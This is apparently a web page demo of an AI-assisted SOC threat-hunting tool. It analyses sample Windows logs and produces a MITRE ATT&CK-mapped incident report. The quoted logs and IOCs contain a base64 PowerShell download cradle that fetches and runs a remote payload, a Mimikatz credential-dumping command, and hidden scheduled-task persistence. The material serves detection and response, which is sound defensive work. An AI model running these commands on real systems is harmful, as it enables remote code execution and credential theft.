

SOC ANALYST TOOL



AI Threat Hunt Analyst

Upload logs or paste raw content — get a full MITRE ATT&CK-mapped incident report

Windows EVT

Sysmon

Splunk JSON

Wazuh Alerts

Raw Text



Upload File



Paste Logs

```
2024-01-15 14:23:11 EventID=4688 ProcessName=powershell.exe CommandLine="powershell -
enc
SQBFaFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBjAEMAbABpAGUAbgB0ACkALgBEAG8
AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYA0AAuADEALgAxAD
AAMAAvAHAAYQB5AGwAbwBhAGQAJwApAA==" ParentProcess=cmd.exe User=WORKSTATION\john.doe
2024-01-15 14:23:15 EventID=4624 LogonType=3 SourceIP=192.168.1.100
User=WORKSTATION\Administrator
2024-01-15 14:23:22 EventID=4698 TaskName="\Microsoft\Windows\Update\Persist"
TaskContent="powershell.exe -WindowStyle Hidden"
2024-01-15 14:23:45 EventID=4103 CommandLine="Invoke-Mimikatz -DumpCreds"
User=WORKSTATION\john.doe
```



Analyze for Threats



Format: Windows XML



4 events



Confidence: High



THREATS DETECTED — Review findings below



Executive Summary

A multi-stage attack was detected on WORKSTATION involving user john.doe. The attack began with encoded PowerShell downloading a payload from an internal IP (192.168.1.100), followed by lateral movement via network logon, persistence establishment through a scheduled task, and credential dumping using Mimikatz. This represents an active compromise with credential theft capabilities requiring immediate incident response.

SEVERITY

KILL CHAIN STAGE

CONFIDENCE

CRITICAL

MultipleHigh

 Kill Chain Analysis

This attack spans multiple kill chain stages indicating an advanced, well-coordinated intrusion.

DELIVERY/EXPLOITATION: The initial encoded PowerShell command (Event 1) represents payload delivery via a download cradle, with cmd.exe as parent process suggesting prior exploitation or social engineering.

INSTALLATION: The scheduled task creation (Event 3) establishes persistence using a disguised Windows Update task.

COMMAND & CONTROL: The payload download from 192.168.1.100 indicates C2 infrastructure, and the same IP performing Administrator logon suggests either C2 callback or coordinated lateral movement.

ACTIONS ON OBJECTIVES: The Mimikatz credential dump (Event 4) represents the attacker achieving their objective of credential harvesting, which enables further lateral movement throughout the environment.

The 34-second timeline from initial execution to credential theft indicates automated tooling or a highly skilled operator.

 Attack Timeline

2024-01-15T14:23:11	Encoded PowerShell command executed to download payload from 192.168.1.100/payload T1059.001 — PowerShell, T1027 — Obfuscated Files or Information Initial execution of malicious downloader using Base64 encoding to evade detection. The decoded command is: IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload')
2024-01-15T14:23:15	Network logon (Type 3) from 192.168.1.100 as Administrator account T1078 — Valid Accounts, T1021 — Remote Services Lateral movement detected - the same IP that served the payload is now authenticating as Administrator, indicating compromised credentials or coordinated attack from internal threat actor
2024-01-15T14:23:22	Scheduled task created named '\Microsoft\Windows\Update\Persist' with hidden PowerShell execution T1053.005 — Scheduled Task/Job Persistence mechanism established disguised as legitimate Windows Update task - attacker ensuring continued access to compromised system
2024-01-15T14:23:45	Invoke-Mimikatz -DumpCreds executed by john.doe T1003.001 — LSASS Memory Credential Dumping

Active credential harvesting detected - attacker extracting plaintext passwords and hashes from memory for further lateral movement and privilege escalation

MITRE ATT&CK Techniques

T1059.001 Command and Scripting Interpreter: PowerShell

HIGH

EventID=4688 with ProcessName=powershell.exe and encoded command line parameter (-enc SQBFAFgA...)

T1027 Obfuscated Files or Information

HIGH

Base64 encoded PowerShell command: -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA... which decodes to IEX download cradle

T1105 Ingress Tool Transfer

HIGH

Decoded command shows Net.WebClient.DownloadString('http://192.168.1.100/payload') - downloading additional tools/malware

T1078 Valid Accounts

CRITICAL

EventID=4624 LogonType=3 showing Administrator account authentication from attack infrastructure IP 192.168.1.100

T1053.005 Scheduled Task/Job: Scheduled Task

HIGH

EventID=4698 TaskName='\\Microsoft\\Windows\\Update\\Persist' with hidden PowerShell execution (-WindowStyle Hidden)

T1003.001 OS Credential Dumping: LSASS Memory

CRITICAL

EventID=4103 CommandLine='Invoke-Mimikatz -DumpCreds' - direct evidence of Mimikatz credential dumping

T1036.004 Masquerading: Masquerade Task or Service

MEDIUM

Scheduled task path '\Microsoft\Windows\Update\Persist' masquerades as legitimate Windows Update component

● Indicators of Compromise (IOCs)

TYPE	VALUE	CONTEXT
IP	192.168.1.100	Internal IP serving malicious payload AND used for lateral movement as Administrator - likely compromised internal host or attacker pivot point
URL	http://192.168.1.100/payload	Malware staging URL decoded from Base64 PowerShell command - source of second-stage payload
Command	powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBIAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYA0AAuADEALgAxADAAMAAvAHAAYQB5AGwAbwBhAGQAJwApAA==	Encoded PowerShell download cradle - classic attack pattern for fileless malware delivery
Command	Invoke-Mimikatz -DumpCreds	Known Mimikatz credential dumping command - indicates attacker has PowerShell-based Mimikatz loaded in memory
File	\Microsoft\Windows\Update\Persist	Malicious scheduled task masquerading as Windows Update component for persistence
User	WORKSTATION\john.doe	Compromised user account executing malicious PowerShell and Mimikatz - account credentials likely stolen
User	WORKSTATION\Administrator	Administrator account used for lateral movement from 192.168.1.100 - indicates privilege escalation achieved
Process	powershell.exe -WindowStyle Hidden	Hidden PowerShell execution in scheduled task - designed to run without user visibility

Recommendations

- IMMEDIATE: Isolate WORKSTATION from the network to prevent further lateral movement and contain the active breach
- IMMEDIATE: Isolate host at 192.168.1.100 - this appears to be compromised infrastructure being used for staging and lateral movement
- IMMEDIATE: Force password reset for john.doe and Administrator accounts, and revoke all active sessions/tokens for both accounts
- URGENT: Delete the malicious scheduled task '\Microsoft\Windows\Update\Persist' using:
schtasks /delete /tn "\Microsoft\Windows\Update\Persist" /f
- URGENT: Perform memory forensics on WORKSTATION to capture Mimikatz artifacts and identify any additional in-memory malware
- URGENT: Analyze 192.168.1.100 to determine if it is a compromised internal asset or rogue device - retrieve the 'payload' file for malware analysis
- Hunt across enterprise for other systems with network logons from 192.168.1.100 or similar encoded PowerShell execution patterns
- Review all accounts that logged into WORKSTATION recently - assume all credentials on this system are compromised
- Implement PowerShell Constrained Language Mode and script block logging across the environment to detect similar attacks
- Block HTTP traffic to internal IPs on non-standard web ports and implement application whitelisting

False Positive Assessment

FALSE POSITIVE LIKELIHOOD: Very Low. The combination of indicators presents a clear attack pattern with no reasonable benign explanation: (1) Base64 encoded PowerShell with IEX download cradle is a well-documented attack technique rarely used legitimately, (2) Invoke-Mimikatz is an offensive security tool with no legitimate administrative use in production environments, (3) Hidden scheduled task disguised as Windows Update is a known persistence technique, (4) The tight 34-second timeline and correlation between the payload source IP and subsequent Administrator logon indicates coordinated

malicious activity. The only scenario where this could be benign is an authorized red team engagement, which should be verified with security leadership immediately.

Analyst Notes

DECODED PAYLOAD: The Base64 string decodes to: IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload') - this is a classic PowerShell download cradle that downloads and immediately executes code in memory (fileless). ATTACK ATTRIBUTION: The use of Mimikatz, encoded PowerShell, and scheduled task persistence is consistent with both APT groups and sophisticated cybercriminal operations. The internal IP for staging suggests either (1) an insider threat, (2) a previously compromised internal system being used as a pivot, or (3) a red team exercise. PARENT PROCESS CONCERN: cmd.exe as parent to PowerShell suggests the attack may have begun earlier - recommend reviewing events prior to 14:23:11 for initial access vector (possible phishing, RDP brute force, or exploitation). EVENT 4103 SIGNIFICANCE: This is PowerShell Module Logging capturing the Mimikatz command - confirms PowerShell logging is partially enabled, but Script Block Logging (4104) would provide additional forensic value. LATERAL MOVEMENT RISK: With Mimikatz credential dump successful, assume the attacker now possesses credentials for multiple accounts - the blast radius extends beyond this single workstation.